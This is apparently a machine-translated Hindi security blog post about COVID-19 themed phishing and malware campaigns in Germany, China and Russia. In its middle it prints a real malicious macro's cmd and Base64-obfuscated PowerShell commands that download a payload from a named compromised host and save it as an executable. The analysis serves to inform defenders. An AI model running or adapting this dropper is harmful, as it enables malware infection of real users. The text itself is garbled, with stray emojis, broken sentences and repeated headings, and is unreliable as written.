🤽🏿 👨🏼‍🚒 🖍️ कोरोनावायरस साइबरबैटैक्स: सोशल इंजीनियरिंग में सभी नमक 📼 📼 🎇

हमलावर COVID-19 विषय का शोषण करना जारी रखते हैं, जिससे उन उपयोगकर्ताओं के लिए अधिक से अधिक खतरे पैदा होते हैं जो महामारी से जुड़ी हर चीज में गहरी रुचि रखते हैं। एक में पिछले पोस्ट, हम पहले से ही क्या मैलवेयर के प्रकार के कोरोना के मद्देनजर में दिखाई दिया, और आज हम सामाजिक इंजीनियरिंग तकनीक है कि विभिन्न देशों में उन पहले से ही सामना करना पड़ा, रूस में शामिल करने के बारे में बात करेंगे के बारे में बात की थी। सामान्य रुझान और उदाहरण - कट के तहत।

पिछली बार याद रखें कि हमने इस बारे में बात की थी कि लोग आसानी से न केवल कोरोनावायरस और महामारी के पाठ्यक्रम के बारे में पढ़ते हैं, बल्कि वित्तीय सहायता उपायों के बारे में भी? यहाँ एक अच्छा उदाहरण है। जर्मन राज्य नॉर्थ राइन-वेस्टफेलिया आईएल एनआरडब्ल्यू में, एक उत्सुक फ़िशिंग हमले की खोज की गई थी। हमलावरों ने अर्थशास्त्र मंत्रालय ( NRW Ministry of Economic Affairs) की वेबसाइट की प्रतियां बनाईं), जहां कोई भी वित्तीय सहायता के लिए आवेदन कर सकता है। ऐसा कार्यक्रम वास्तव में मौजूद है, और यह स्कैमर के हाथों में निकला। अपने पीड़ितों का व्यक्तिगत डेटा प्राप्त करने के बाद, उन्होंने मंत्रालय की वेबसाइट पर पहले ही एक आवेदन कर दिया, लेकिन अन्य बैंक विवरणों का संकेत दिया। आधिकारिक आंकड़ों के अनुसार, इस योजना का खुलासा होने तक 4 हजार ऐसे फर्जी अनुरोध किए गए थे। परिणामस्वरूप, प्रभावित नागरिकों के लिए $ 109 मिलियन का इरादा धोखेबाजों के हाथों में आ गया।

क्या आप COVID-19 के लिए नि: शुल्क परीक्षण चाहते हैं?

कोरोना फ़िशिंग का एक और कह उदाहरण था पाया ईमेल में। संदेशों ने उपयोगकर्ताओं को कोरोनोवायरस संक्रमण से मुक्त परीक्षण से गुजरने के प्रस्ताव के साथ आकर्षित किया है। इन पत्रों के अटैचमेंट में ट्रिकबोट / काकोबट / क्यूबोट के उदाहरण थे। और जब जो लोग अपने स्वास्थ्य की जांच करना चाहते थे, उन्होंने "संलग्न फॉर्म को भरना" शुरू कर दिया, कंप्यूटर पर एक दुर्भावनापूर्ण स्क्रिप्ट डाउनलोड की गई। और सैंडबॉक्सिंग विधि द्वारा सत्यापन से बचने के लिए, स्क्रिप्ट ने मुख्य वायरस को कुछ समय बाद ही लोड करना शुरू कर दिया, जब सुरक्षा प्रणालियों को यकीन हो गया कि कोई भी दुर्भावनापूर्ण गतिविधि नहीं हो रही थी।

अधिकांश उपयोगकर्ताओं को मैक्रो को सक्षम करने के लिए समझाना भी आसान था। ऐसा करने के लिए, एक मानक चाल का उपयोग किया गया था, जब प्रश्नावली को भरने के लिए आपको पहले मैक्रोज़ को सक्षम करने की आवश्यकता होती है, जिसका अर्थ है कि आपको VBA स्क्रिप्ट को चलाने की आवश्यकता है।

जैसा कि आप देख सकते हैं, VBA स्क्रिप्ट विशेष रूप से एंटीवायरस से मुखौटा है।

जब अनुप्रयोग डिफ़ॉल्ट रूप से "हां" उत्तर को स्वीकार करने से पहले आवेदन / टी <सेकंड> के लिए इंतजार करता है, तो एक प्रतीक्षा फ़ंक्शन होता है। हमारे मामले में, स्क्रिप्ट ने अस्थायी फ़ाइलों को हटाने से पहले 65 सेकंड इंतजार किया: और प्रतीक्षा की प्रक्रिया में, मैलवेयर डाउनलोड किया गया था। ऐसा करने के लिए, एक विशेष PowerShell स्क्रिप्ट लॉन्च की गई थी:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:\Users\Public\tmpdir\tmps1.bat & del C:\Users\Public\1.txt

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:\Users\Public\1.txt

Base64 मान को डीकोड करने के बाद, PowerShell स्क्रिप्ट जर्मनी से पहले हैक किए गए वेब सर्वर पर स्थित पिछले दरवाजे को लोड करती है:

http://automatischer-staubsauger.com/feature/777777.png

और नाम के तहत इसे बचाता है:

C:\Users\Public\tmpdir\file1.exe

‘C:\Users\Public\tmpdir’फ़ाइल 'tmps1.bat' चलाने पर फ़ोल्डर हटा दिया जाता है, जिसमें कमांड होती हैcmd /c mkdir ""C:\Users\Public\tmpdir"".

सरकारी एजेंसियों पर लक्षित हमला

इसके अलावा, FireEye विश्लेषकों ने हाल ही में वुहान सरकार संरचनाओं, साथ ही चीनी आपातकालीन प्रबंधन मंत्रालय के उद्देश्य से APT32 द्वारा लक्षित हमले की सूचना दी। वितरित RTF में से एक में न्यूयॉर्क टाइम्स के एक लेख का लिंक है, जिसके शीर्षक कोरोनावायरस लाइव अपडेट्स हैं: चीन ट्रैवलर्स से हुबेई को ट्रैक कर रहा है । हालांकि, इसे पढ़ते समय, मैलवेयर का डाउनलोड हुआ (फायरएईई विश्लेषकों ने METALJACK के रूप में उदाहरण की पहचान की)।

दिलचस्प बात यह है कि पता लगाने के समय, किसी भी एंटीवायरस ने विरुस्टोटल के अनुसार इस उदाहरण का पता नहीं लगाया।

जब आधिकारिक साइटें "झूठ"

रूस में एक फिशिंग हमले का सबसे उज्ज्वल उदाहरण दूसरे दिन ही हुआ। इसका कारण 3 से 16 साल की उम्र के बच्चों के लिए लंबे समय से प्रतीक्षित भत्ते की नियुक्ति थी। जब 12 मई, 2020 को आवेदनों को स्वीकार करने की शुरुआत की घोषणा की गई, तो लाखों लोगों को लंबे समय से प्रतीक्षित मदद के लिए राज्य सेवा की वेबसाइट पर पहुंचे और पोर्टल को एक पेशेवर डीडीओएस हमले से बदतर नहीं किया। जब राष्ट्रपति ने कहा कि "राज्य सेवाएं अनुप्रयोगों के प्रवाह का सामना नहीं कर सकती हैं," उन्होंने इस तथ्य के बारे में बात करना शुरू कर दिया कि आवेदनों को स्वीकार करने के लिए एक वैकल्पिक साइट ने काम करना शुरू कर दिया था।

समस्या यह है कि कई साइटों ने एक ही बार में अर्जित किया है, और जबकि एक, posobie16.gosuslugi.ru पर असली, वास्तव में अनुप्रयोगों को स्वीकार करता है, दर्जनों अधिक विश्वसनीय उपयोगकर्ताओं के व्यक्तिगत डेटा एकत्र करता है ।

हार्टअनफॉर्म के सहकर्मियों ने Ph ज़ोन में 30 नए धोखाधड़ी डोमेन के बारे में पाया। Infosecurity एक सॉफ्टलाइन कंपनी ने अप्रैल की शुरुआत से 70 से अधिक समान फर्जी सार्वजनिक सेवाओं की साइटों को ट्रैक किया है। उनके निर्माता परिचित प्रतीकों में हेरफेर करते हैं, और गोसुलुगी, गोसुल्लुगी -16, वायप्लैटी, कोविद-वायप्लेटी, पॉज़ोबी और इत्यादि शब्दों के संयोजन का भी उपयोग करते हैं।

एगियोटेज और सोशल इंजीनियरिंग

ये सभी उदाहरण केवल इस बात की पुष्टि करते हैं कि हमलावर कोरोनावायरस के विषय को सफलतापूर्वक विमुद्रीकृत करते हैं। और उच्च सामाजिक तनाव और अधिक अस्पष्ट प्रश्न, महत्वपूर्ण डेटा चोरी करने के लिए धोखेबाजों का अधिक से अधिक मौका, लोगों को अपने पैसे खुद देने के लिए मजबूर करते हैं, या बस अधिक कंप्यूटर हैक करते हैं।

और यह देखते हुए कि महामारी ने संभावित रूप से अप्रभावित लोगों को बड़ी संख्या में घर से काम करने के लिए बनाया, न केवल व्यक्तिगत, बल्कि कॉर्पोरेट डेटा भी जोखिम में हैं। उदाहरण के लिए, हाल ही में Microsoft 365 (पूर्व में Office 365) के उपयोगकर्ताओं को भी फ़िशिंग हमले के अधीन किया गया है। लोगों ने पत्रों के लिए अनुलग्नकों में बड़े पैमाने पर "मिस्ड" संदेश प्राप्त किए। हालांकि, वास्तव में, फाइलें एक HTML पृष्ठ थीं जो हमले के पीड़ितों को नकली Microsoft 365 लॉगिन पृष्ठ पर भेजती थीं। परिणामस्वरूप - खाते से सभी डेटा तक पहुंच और समझौता का नुकसान।

कोरोनावायरस साइबरबैटैक्स: सोशल इंजीनियरिंग में सभी नमक

क्या आप COVID-19 के लिए नि: शुल्क परीक्षण चाहते हैं?

सरकारी एजेंसियों पर लक्षित हमला

जब आधिकारिक साइटें "झूठ"

एगियोटेज और सोशल इंजीनियरिंग

More articles: